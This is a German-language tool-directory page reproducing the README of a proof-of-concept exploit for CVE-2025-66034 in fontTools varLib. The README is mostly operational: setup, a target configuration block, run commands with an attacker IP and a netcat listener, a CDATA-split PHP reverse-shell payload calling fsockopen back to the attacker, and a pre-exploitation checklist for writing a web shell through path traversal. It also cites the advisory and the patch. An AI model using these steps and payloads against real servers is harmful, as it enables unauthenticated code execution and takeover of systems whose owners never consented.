Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
POC-CVE-2025-66034 — Automatisierter Exploit für CVE-2025-66034, der Pfad-Traversal und XML-Injection in fontTools varLib verkettet, um eine nicht authentifizierte Remotecodeausführung durch Hochladen einer präparierten .designspace-Datei zu erreichen. | Kitploit
Tools/GitHubGitHub/v3cn4x00/poc-cve-2025-66034
Payload-GenerierungSchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationBinäranalyseLernen & BildungRemote-Access-Tool
GitHubv3cn4x00/poc-cve-2025-66034

POC-CVE-2025-66034

Automatisierter Exploit für CVE-2025-66034, der Pfad-Traversal und XML-Injection in fontTools varLib verkettet, um eine nicht authentifizierte Remotecodeausführung durch Hochladen einer präparierten .designspace-Datei zu erreichen.

4vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen

font_varlib.py – CVE-2025-66034

fontTools varLib – Beliebiges Dateischreiben + XML-Injection → Remote-Codeausführung

CVE Component Class Language Deps License


Inhaltsverzeichnis

  • Übersicht
  • Schwachstellendetails
  • Angriffskette
  • Anforderungen
  • Installation
  • Konfiguration
  • Verwendung
  • Funktionsweise
  • Angreifbarer Code
  • Checkliste vor der Ausnutzung
  • Getestet auf
  • Haftungsausschluss
  • Referenzen

Übersicht

CVE-2025-66034 ist eine Schwachstelle in der fontTools.varLib-Pipeline zur Generierung variabler Schriftarten. Wenn eine Webanwendung diese Pipeline bereitstellt und benutzergelieferte .designspace-Dateien akzeptiert, verketten sich zwei Schwachstellen zu einer nicht authentifizierten Remote-Codeausführung.

font_varlib.py automatisiert die gesamte Exploit-Kette – Schrifterzeugung, Payload-Erstellung, Upload und Reverse-Shell-Übergabe.


Schwachstellendetails

Schwachstellenkette


Angriffskette

root@kitploit:~
Angreifer erstellt bösartige .designspace
            │
            ├── <variable-font filename="/var/www/html/files/shell.php">
            │        └── PFAD-TRAVERSAL
            │            os.path.join(output_dir, absolute_path)
            │            → output_dir verworfen → Schreiben in Web-Root
            │
            └── <labelname><![CDATA[<?php ... ?>]]]]><![CDATA[>]]></labelname>
                     └── XML-INJECTION
                         CDATA-Split bettet rohes PHP
                         in die Ausgabeschrift-Binärdatei ein
            │
            ▼
    fontTools.varLib.main() verarbeitet Datei serverseitig
            │
            ▼
    shell.php wird in ein webfähiges Verzeichnis geschrieben
            │
            ▼
    GET /files/shell.php → PHP wird ausgeführt → Reverse-Shell-Callback
            │
            ▼
    RCE als www-data

Anforderungen

Python: 3.9+

Abhängigkeiten:

root@kitploit:~
pip install fonttools requests

System:

root@kitploit:~
nc (netcat) – erforderlich für den automatischen Listener-Modus (mit --no-listen überspringen)

Installation

root@kitploit:~
git clone https://github.com/yourhandle/font_varlib
cd font_varlib
pip install fonttools requests

Konfiguration

Öffnen Sie vor dem Ausführen font_varlib.py und aktualisieren Sie den Konfigurationsblock am Anfang der Datei, sodass er Ihrem Ziel entspricht. Jeder Wert enthält einen Inline-Kommentar, der erklärt, was es ist und wie der korrekte Wert gefunden wird.

root@kitploit:~
# ══════════════════════════════════════════════════════════════════════════════
#  STANDARDWERTE
#  Ändern Sie diese, damit sie vor dem Ausführen Ihrem Ziel entsprechen.
#  Alle Werte können zur Laufzeit auch über CLI-Flags überschrieben werden – siehe --help.
# ══════════════════════════════════════════════════════════════════════════════

# Basis-URL des Upload-Hosts (der Site, die die .designspace akzeptiert)
UPLOAD_HOST      = "http://test.com"

# Pfad auf dem Upload-Host, der den Multipart-Form-POST verarbeitet
# Mit Burp bestätigen – nach dem POST nach dem Klick auf den Generate-Button suchen
UPLOAD_ENDPOINT  = "/tools/variable-font-generator/process"

# Absoluter Dateisystempfad auf dem Server, in den Ausgabedateien geschrieben werden
# Muss via HTTP erreichbar sein, damit die Shell über HTTP ausgelöst werden kann
WEBROOT          = "/var/www/test.com/public/files"

# Basis-URL, um die geschriebene Shell-Datei abzurufen/auszulösen
# Entspricht WEBROOT auf der Festplatte
SHELL_HOST       = "http://testing.test.com/files"

# Multipart-Formularfeldnamen – vor dem Ausführen mit Burp bestätigen
# Wenn der Upload stillschweigend fehlschlägt (HTTP 200, aber keine Shell), sind falsche Feldnamen die Ursache
FIELD_DESIGNSPACE = "designspace"
FIELD_MASTERS     = "masters"

# Shell-Dateinamen-Präfix – zufälliger Suffix wird zur Laufzeit angehängt
SHELL_PREFIX     = "f0nt_"

# Länge des zufälligen Suffix – länger = schwerer zu erraten
SHELL_SUFFIX_LEN = 8

Tipp: Fangen Sie eine legitime Upload-Anfrage in Burp Suite ab, um UPLOAD_ENDPOINT und die exakten Multipart-Feldnamen vor dem Ausführen zu bestätigen. Eine Nichtübereinstimmung der Feldnamen führt zu einem stillen Fehlschlag – der Server gibt HTTP 200 zurück, aber es wird keine Shell geschrieben.


Verwendung

Basis – automatischer nc-Listener

root@kitploit:~
python3 font_varlib.py --ip <ANGREIFER_IP> --port <PORT>

Manueller Listener – nc selbst starten

root@kitploit:~
# Terminal 1 – Listener starten
nc -lvnp 4444

# Terminal 2 – Exploit ohne automatischen Listener ausführen
python3 font_varlib.py --ip <ANGREIFER_IP> --port 4444 --no-listen

Benutzerdefiniertes Ziel – alle Standardwerte zur Laufzeit überschreiben

root@kitploit:~
python3 font_varlib.py \
  --ip 10.10.14.5 \
  --port 4444 \
  --upload http://target.htb/tools/variable-font-generator/process \
  --webroot /var/www/html/files \
  --shell http://target.htb/files

Vollständige Optionenreferenz


Funktionsweise

Schritt 1 – Schrifterzeugung

Zwei minimale, aber strukturell gültige .ttf-Quelldateien werden programmatisch mit fontTools.FontBuilder erzeugt. varLib benötigt mindestens zwei Achsen-Master, um eine variable Schrift zu verarbeiten – diese erfüllen diese Anforderung, ohne dass echte Schriftdateien auf der Festplatte vorhanden sein müssen.

Schritt 2 – Payload-Erstellung

Eine bösartige .designspace-XML-Datei wird erstellt, die beide Angriffsprimitive einbettet:

Primitive 1 – XML-Injection via CDATA-Split:

root@kitploit:~
<labelname xml:lang="en">
  <![CDATA[<?php $s=fsockopen("IP",PORT); ... ?>]]]]><![CDATA[>]]>
</labelname>

Die Sequenz ]]]]><![CDATA[> beendet den aktuellen CDATA-Block und öffnet sofort einen neuen. Der XML-Parser verarbeitet dies als gültiges Markup, aber varLib serialisiert den Inhalt wörtlich in die Ausgabedatei – rohes PHP wird in die Schrift-Binärdatei eingebettet.

Primitive 2 – Pfad-Traversal via filename-Attribut:

root@kitploit:~
<variable-font name="MaliciousFont" filename="/var/www/html/files/shell.php">

varLib konstruiert den Ausgabepfad als:

root@kitploit:~
output_path = os.path.join(output_dir, filename)

Wenn filename ein absoluter Pfad ist, verwirft Pythons os.path.join() das output_dir vollständig. In betroffenen Versionen gibt es keine Bereinigung.

Schritt 3 – Upload

Die .designspace- und beide .ttf-Dateien werden als Multipart-POST an den Schriftgenerierungs-Endpunkt des Ziels gesendet, wobei die aus Burp bestätigten Feldnamen verwendet werden.

Schritt 4 – Auslösen

Ein HTTP-GET auf die geschriebene .php-Datei führt die Reverse-Shell aus, die sich über fsockopen + proc_open zurück zum nc-Listener des Angreifers verbindet – kein curl, wget oder Python auf dem Ziel erforderlich.


Angreifbarer Code

fontTools/varLib/__init__.py (betroffene Versionen):

root@kitploit:~
filename = vf.filename                             # angreifergesteuert, unbereinigt
output_path = os.path.join(output_dir, filename)  # Pfad-Traversal via absolutem Pfad
vf.save(output_path)                              # beliebiges Dateischreiben

Patch in 4.60.2 – erzwingt os.path.basename() auf filename vor der Konstruktion von output_path, wodurch alle Pfad-Traversal-Sequenzen entfernt werden.


Checkliste vor der Ausnutzung

Überprüfen Sie vor dem Ausführen alle folgenden Punkte:

root@kitploit:~
[ ] fonttools-Version auf dem Ziel ist >= 4.33.0 und < 4.60.2
[ ] Ziel akzeptiert .designspace + .ttf Datei-Uploads
[ ] Backend ruft fontTools.varLib.main() auf der hochgeladenen .designspace auf
[ ] Upload-Formularfeldnamen mit Burp bestätigt (designspace + masters)
[ ] WEBROOT ist von außen via HTTP erreichbar
[ ] WEBROOT ist durch den Webprozess beschreibbar (www-data oder äquivalent)
[ ] SHELL_HOST (--shell) ist von Ihrem Rechner aus erreichbar
[ ] Ziel-Hostname ist in /etc/hosts eingetragen

Getestet auf

Umgebungfonttools-VersionErgebnis
Ubuntu 22.04 / Python 3.114.59.0✓ Bestätigt

Haftungsausschluss

Dieses Tool wird ausschließlich zu Bildungszwecken und für autorisierte Sicherheitsforschung bereitgestellt.

Verwenden Sie es nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben. Der Autor übernimmt keine Haftung für Missbrauch oder Schäden, die durch diese Software verursacht werden.


Referenzen

Tool herunterladen
FeldDetail
CVE-IDCVE-2025-66034
GHSAGHSA-768j-98cg-p3fv
Paketfonttools (pip)
Betroffener Bereich>= 4.33.0, < 4.60.2
Behoben in4.60.2
SchweregradMittel (CVSS 6.3)
AngriffsvektorLokal (erfordert Datei-Upload auf das Ziel)
Erforderliche BerechtigungenKeine
BenutzerinteraktionErforderlich (Upload-Auslöser)
#PrimitiveCWEGrundursache
1Pfad-TraversalCWE-22Das filename-Attribut in .designspace wird ohne Bereinigung direkt an os.path.join() übergeben – absolute Pfade verwerfen das vorgesehene Ausgabeverzeichnis vollständig.
2XML-InjectionCWE-91<labelname>-CDATA-Abschnitte erlauben eine Split-Sequenz (]]]]><![CDATA[>), um rohes PHP am XML-Parser vorbei in die geschriebene Ausgabedatei zu schleusen.
ArgumentErforderlichStandardBeschreibung
--ip✓–IP des Angreifer-Listeners
--port✓–Port des Angreifer-Listeners
--uploadUPLOAD_HOST + UPLOAD_ENDPOINTUpload-Endpunkt (POST)
--webrootWEBROOTServerseitiger Dateisystem-Schreibpfad (muss webfähig sein)
--shellSHELL_HOSTBasis-URL, um die geschriebene Shell auszulösen
--no-listenfalseAutomatischen nc-Listener überspringen – nur auslösen
RessourceLink
NVD – CVE-2025-66034https://nvd.nist.gov/vuln/detail/CVE-2025-66034
fontTools Security Advisoryhttps://github.com/fonttools/fonttools/security/advisories/GHSA-768j-98cg-p3fv
Patch-Commit – a696d5bhttps://github.com/fonttools/fonttools/commit/a696d5ba93270d5954f98e7cab5ddca8a02c1e32
fontTools-Projekthttps://github.com/fonttools/fonttools